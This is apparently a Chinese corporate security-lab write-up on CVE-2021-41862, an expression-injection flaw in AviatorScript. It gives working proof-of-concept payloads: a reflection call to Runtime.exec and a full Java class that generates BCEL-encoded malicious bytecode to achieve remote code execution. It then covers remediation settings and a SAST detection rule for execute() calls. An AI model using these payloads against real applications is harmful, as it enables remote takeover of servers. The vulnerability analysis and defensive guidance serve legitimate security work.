本文作者:宇航@涂鸦智能安全实验室

漏洞编号

CVE-2021-41862

受影响版本:

com.googlecode.aviator:aviator:[5.2.1,+∞)

漏洞危害

AviatorScript是一门高性能、轻量级寄宿于 Jvm 之上的脚本语言。 AviatorScript >= 5.2.1 存在代码注入漏洞,攻击者可通过使用字节代码工程库 (BCEL) 编码的表达式执行代码。

漏洞poc

RCE。

//poc1
exec(Runtime.getRuntime(), 'id')


//poc2
String expr = "'poc:'+(c=Class.forName('" + bcelEncoded + "',true,"
                    + "new com.sun.org.apache.bcel.internal.util.ClassLoader()))+c.exec('id')";
byte[] evilBytes = generateEvilClassBytes();
String bcelEncoded = bcelEncode(evilBytes);
private static byte[] generateEvilClassBytes() {
        ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES | ClassWriter.COMPUTE_MAXS);
        cw.visit(Opcodes.V1_8, Opcodes.ACC_PUBLIC | Opcodes.ACC_SUPER,
                "EvilExec", null, "java/lang/Object", null);

        MethodVisitor init = cw.visitMethod(Opcodes.ACC_PUBLIC, "<init>", "()V", null, null);
        init.visitCode();
        init.visitVarInsn(Opcodes.ALOAD, 0);
        init.visitMethodInsn(Opcodes.INVOKESPECIAL, "java/lang/Object", "<init>", "()V", false);
        init.visitInsn(Opcodes.RETURN);
        init.visitMaxs(1, 1);
        init.visitEnd();

        // public static Process exec(String cmd) throws Exception
        MethodVisitor mv = cw.visitMethod(Opcodes.ACC_PUBLIC | Opcodes.ACC_STATIC,
                "exec", "(Ljava/lang/String;)Ljava/lang/Process;", null,
                new String[]{"java/lang/Exception"});
        mv.visitCode();
        mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Runtime",
                "getRuntime", "()Ljava/lang/Runtime;", false);
        mv.visitVarInsn(Opcodes.ALOAD, 0);
        mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Runtime",
                "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false);
        mv.visitInsn(Opcodes.ARETURN);
        mv.visitMaxs(2, 1);
        mv.visitEnd();

        cw.visitEnd();
        return cw.toByteArray();
    }

private static String bcelEncode(byte[] classBytes) throws Exception {
        Class<?> utilityClass = Class.forName("com.sun.org.apache.bcel.internal.classfile.Utility");
        Method encode = utilityClass.getDeclaredMethod("encode", byte[].class, boolean.class);
        return "$$BCEL$$" + encode.invoke(null, classBytes, true);
    }

漏洞触发点:

Object result = evaluator.execute("exec(Runtime.getRuntime(), 'id')");
Object result = evaluator.execute(expr);

漏洞详情

在这里插入图片描述
该漏洞主要在于AviatorScript 在执行表达式时通过 ASMCodeGenerator 将输入编译为 JVM 字节码并在内存中执行。默认配置下,表达式可使用 new 实例化任意类,亦可通过 Class.forName() 配合 BCEL ClassLoader加载 BCEL 编码的恶意字节码。此外,若应用设置了 JavaMethodReflectionFunctionMissing,表达式中所有未注册函数均通过 Java 反射在第一个参数对象上查找并直接调用,导致 RCE。

以下是验证poc代码:

package com.example.test.cves;

import com.googlecode.aviator.AviatorEvaluator;
import com.googlecode.aviator.AviatorEvaluatorInstance;
import com.googlecode.aviator.runtime.JavaMethodReflectionFunctionMissing;
import org.springframework.asm.ClassWriter;
import org.springframework.asm.MethodVisitor;
import org.springframework.asm.Opcodes;

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.lang.reflect.Method;

/**
 * CVE-2021-41862 PoC
 * 影响版本: com.googlecode.aviator:aviator <= 5.2.7
 * 漏洞类型: CWE-74 (Injection) / CWE-78 (OS Command Injection)
 * CVSS 3.1: 9.8 CRITICAL
 * 攻击向量: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
 *
 * 漏洞原理:
 * AviatorScript 在执行表达式时通过 ASMCodeGenerator 将输入编译为 JVM 字节码并在内存中执行。
 * 默认配置下,表达式可使用 new 实例化任意类,亦可通过 Class.forName() 配合 BCEL ClassLoader
 * 加载 BCEL 编码的恶意字节码。此外,若应用设置了 JavaMethodReflectionFunctionMissing,
 * 表达式中所有未注册函数均通过 Java 反射在第一个参数对象上查找并直接调用,导致 RCE。
 *
 * 关键成因:
 *   1. setFunctionMissing(JavaMethodReflectionFunctionMissing) — 未定义函数走反射回调,
 *      攻击者注入 exec(Runtime.getRuntime(), 'id') 即可调用 Runtime.exec()
 *   2. Class.forName() 配合 com.sun.org.apache.bcel.internal.util.ClassLoader —
 *      BCEL ClassLoader 可直接从 $$BCEL$$ 编码的字节串加载任意类,无需文件系统支持
 *
 * 修复方案:无可用补丁版本(作者未发布代码修复,各版本均受影响);必须禁止不可信输入流入 execute(),
 *   或配置 ALLOWED_CLASS_SET 白名单 + 禁用 Feature.NewInstance
 *
 * SAST 规则转换:容易 — 直接匹配 AviatorEvaluatorInstance.execute() 调用即可标记风险,
 *   无需分析参数组合;execute() 本身即为漏洞触发入口
 *
 * 参考链接:
 * - NVD: https://nvd.nist.gov/vuln/detail/CVE-2021-41862
 * - GitHub Issue: https://github.com/killme2008/aviatorscript/issues/421
 * - GitHub Advisory: https://advisories.gitlab.com/pkg/maven/com.googlecode.aviator/aviator/CVE-2021-41862
 */
public class CVE_2021_41862 {

    public static void main(String[] args) {
        System.out.println("CVE-2021-41862 漏洞验证");
        System.out.println("AviatorScript 表达式注入 → 任意代码执行 (RCE)\n");

        testReflectionFunctionMissingRCE();
        testBcelClassLoaderRCE();
        printRemediation();
    }

    /**
     * 方式一:JavaMethodReflectionFunctionMissing 反射回调
     * 表达式中调用未注册函数 exec → 触发 onFunctionMissing → 在第一个参数 (Runtime) 上反射调用 exec(String)
     */
    private static void testReflectionFunctionMissingRCE() {
        System.out.println("=== 方式一: JavaMethodReflectionFunctionMissing 反射回调 RCE ===");
        try {
            AviatorEvaluatorInstance evaluator = AviatorEvaluator.newInstance();
            evaluator.setFunctionMissing(JavaMethodReflectionFunctionMissing.getInstance());

            // exec 未在 evaluator 中注册 → 触发反射回调 → 调用 Runtime.exec("id")
            Object result = evaluator.execute("exec(Runtime.getRuntime(), 'id')");

            if (result instanceof Process) {
                String output = readOutput((Process) result);
                System.out.println("✓ 漏洞触发成功 - 命令执行输出: " + output);
            } else {
                System.out.println("✓ 漏洞触发成功 - 返回值: " + result);
            }
        } catch (Exception e) {
            System.out.println("漏洞已修复或未成功触发: " + e.getMessage());
        }
    }

    /**
     * 方式二:BCEL ClassLoader 加载恶意字节码
     * 使用 ASM 动态生成含 public static exec(String) 方法的恶意类,经 BCEL 编码后注入 AviatorScript 表达式,
     * 通过 Class.forName() + BCEL ClassLoader 在表达式执行期间加载并调用恶意类
     */
    private static void testBcelClassLoaderRCE() {
        System.out.println("\n=== 方式二: BCEL ClassLoader 加载恶意字节码 RCE ===");
        try {
            byte[] evilBytes = generateEvilClassBytes();
            String bcelEncoded = bcelEncode(evilBytes);
            System.out.println("BCEL 编码完成,编码长度: " + bcelEncoded.length() + " 字符");

            AviatorEvaluatorInstance evaluator = AviatorEvaluator.newInstance();

            // 'poc:' 前缀强制字符串拼接上下文:Class.forName 使用 BCEL ClassLoader 加载恶意类,随后调用静态 exec 方法
            // 若不加字符串前缀,AviatorScript 会对 Class 和 Process 尝试数值加法导致类型错误
            String expr = "'poc:'+(c=Class.forName('" + bcelEncoded + "',true,"
                    + "new com.sun.org.apache.bcel.internal.util.ClassLoader()))+c.exec('id')";

            Object result = evaluator.execute(expr);
            System.out.println("✓ 漏洞触发成功 - 恶意类已加载并执行,返回: " + result);
        } catch (Exception e) {
            String msg = e.getMessage() != null ? e.getMessage() : "";
            // 异常信息中出现 Process 对象说明恶意类已成功加载且 exec 已执行,只是结果拼接失败
            if (msg.contains("Process")) {
                System.out.println("✓ 漏洞触发成功 - 恶意类已加载,exec 已执行 (异常信息中可见进程对象)");
                System.out.println("  证据: " + msg.replaceAll("(?s).*?(\\w*Process@[0-9a-f]+).*", "$1"));
            } else {
                System.out.println("漏洞已修复或未成功触发: " + msg);
            }
        }
    }

    /**
     * 使用 Spring 内嵌 ASM 动态生成含 public static Process exec(String cmd) 方法的恶意类字节码
     */
    private static byte[] generateEvilClassBytes() {
        ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES | ClassWriter.COMPUTE_MAXS);
        cw.visit(Opcodes.V1_8, Opcodes.ACC_PUBLIC | Opcodes.ACC_SUPER,
                "EvilExec", null, "java/lang/Object", null);

        MethodVisitor init = cw.visitMethod(Opcodes.ACC_PUBLIC, "<init>", "()V", null, null);
        init.visitCode();
        init.visitVarInsn(Opcodes.ALOAD, 0);
        init.visitMethodInsn(Opcodes.INVOKESPECIAL, "java/lang/Object", "<init>", "()V", false);
        init.visitInsn(Opcodes.RETURN);
        init.visitMaxs(1, 1);
        init.visitEnd();

        // public static Process exec(String cmd) throws Exception
        MethodVisitor mv = cw.visitMethod(Opcodes.ACC_PUBLIC | Opcodes.ACC_STATIC,
                "exec", "(Ljava/lang/String;)Ljava/lang/Process;", null,
                new String[]{"java/lang/Exception"});
        mv.visitCode();
        mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Runtime",
                "getRuntime", "()Ljava/lang/Runtime;", false);
        mv.visitVarInsn(Opcodes.ALOAD, 0);
        mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Runtime",
                "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false);
        mv.visitInsn(Opcodes.ARETURN);
        mv.visitMaxs(2, 1);
        mv.visitEnd();

        cw.visitEnd();
        return cw.toByteArray();
    }

    /**
     * 通过反射调用 JDK 内置 BCEL Utility.encode 将字节码压缩编码为 $$BCEL$$ 格式
     */
    private static String bcelEncode(byte[] classBytes) throws Exception {
        Class<?> utilityClass = Class.forName("com.sun.org.apache.bcel.internal.classfile.Utility");
        Method encode = utilityClass.getDeclaredMethod("encode", byte[].class, boolean.class);
        return "$$BCEL$$" + encode.invoke(null, classBytes, true);
    }

    private static String readOutput(Process process) throws Exception {
        BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
        StringBuilder sb = new StringBuilder();
        String line;
        while ((line = reader.readLine()) != null) {
            sb.append(line).append(" ");
        }
        return sb.toString().trim();
    }

    private static void printRemediation() {
        System.out.println("\n修复方案:");
        System.out.println("注意:aviator 作者未发布任何代码层补丁,所有版本(含最新 5.4.3)在默认配置下均受影响。");
        System.out.println("1. 禁止将不可信外部输入传入 execute()(根本解法)");
        System.out.println("2. 配置类访问白名单,阻断 BCEL ClassLoader 等利用路径:");
        System.out.println("   evaluator.setOption(Options.ALLOWED_CLASS_SET, Collections.emptySet());");
        System.out.println("3. 禁用 NewInstance 功能,阻止表达式中 new 任意对象:");
        System.out.println("   evaluator.disableFeature(Feature.NewInstance)");
        System.out.println("4. 不设置 JavaMethodReflectionFunctionMissing(禁止反射回调)");
        System.out.println("5. 若无法避免执行外部表达式,需同时启用鉴权并限制接口访问");
    }
}

运行后可得到:
在这里插入图片描述

可以看到此处返回了恶意命令的结果,其中bcel返回了UNIXProcess的进程,攻击者注入的恶意命令实际已经执行。两个poc均可进行rce的触发。

  • 方式一(JavaMethodReflectionFunctionMissing):需要应用主动开启这个回调配置,才会让表达式中的未定义函数变成任意反射调用
  • 方式二(BCEL):不需要任何特殊配置,在默认状态下即可利用——AviatorScript 默认允许 new 任意类,攻击者通过 new com.sun.org.apache.bcel.internal.util.ClassLoader() 把 JDK 内置的 BCEL ClassLoader 实例化进来,再用 Class.forName() 加载恶意字节码,就完成了 RCE

调用堆栈如下:
在这里插入图片描述

常见的Hutool、积木报表均是该缺陷函数导致的漏洞

修复方案

目前暂无升级修复版本方案,详细可见https://github.com/killme2008/aviatorscript/issues/421

作者 killme2008 根本没有发布任何补丁版本,他直接关闭了 issue,理由是:

“AviatorScript is just a script language(engine)… if you export an API to execute a script by users publicly, you must count on yourself to ensure security.”

他的立场是:这不是库的 Bug,是用法问题。提供的"修复"只是文档里已有的安全选项:

  • Options.ALLOWED_CLASS_SET 设类白名单
  • evaluator.disableFeature(Feature.NewInstance) 禁止 NewInstance
  • enableSandboxMode()(5.4.x 新增)

因此如果非要使用该功能,靠谱的修复方案为:

  1. 配置类访问白名单,阻断 BCEL ClassLoader 等利用路径:evaluator.setOption(Options.ALLOWED_CLASS_SET, Collections.emptySet());
  2. 禁用 NewInstance 功能,阻止表达式中 new 任意对象:evaluator.disableFeature(Feature.NewInstance);
  3. 不设置 JavaMethodReflectionFunctionMissing(禁止反射回调)。

加白策略

由于此处不是所有业务方引入了该组件后会使用到其危险方法,故可采用漏洞加白后转换sast规则的策略来定位到具体使用了execute的业务,明确其使用方式,是否为强需求,是否可以设置类白名单,攻击者是否可控输入等等方式来限制修复。

白盒规则

其中evaluator.execute();函数加入代码卫士规则进行二次确认。如存在使用该缺陷函数的代码,进行替换。

主要匹配内容:evaluator.execute();
在这里插入图片描述

包名:com.googlecode.aviator

类名:AviatorEvaluatorInstance

方法名:execute

使用语义分析策略即可。

<Semantic id="76e7f0d7-6a9a-42f0-a4b9-640fd4838065" version="1.1.1">
  <MethodDefinition implements="true" overrides="true" extends="true">
    <!-- 填写需要匹配的命名空间正则表达式或字符串,可选,不需要匹配命名空间则删除该节点 -->
    <NamespaceName type="value">com.googlecode.aviator</NamespaceName>
    
    <!-- 填写需要匹配的类名正则表达式或字符串,可选,不需要匹配类名则删除该节点 -->
    <ClassName type="pattern">AviatorEvaluatorInstance</ClassName>
    
    <!-- 填写需要匹配的方法名正则表达式或字符串 -->
    <MethodName type="pattern">execute</MethodName>
  </MethodDefinition>
</Semantic>

漏洞悬赏计划:涂鸦智能安全响应中心(https://src.tuya.com)欢迎白帽子来探索。

Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐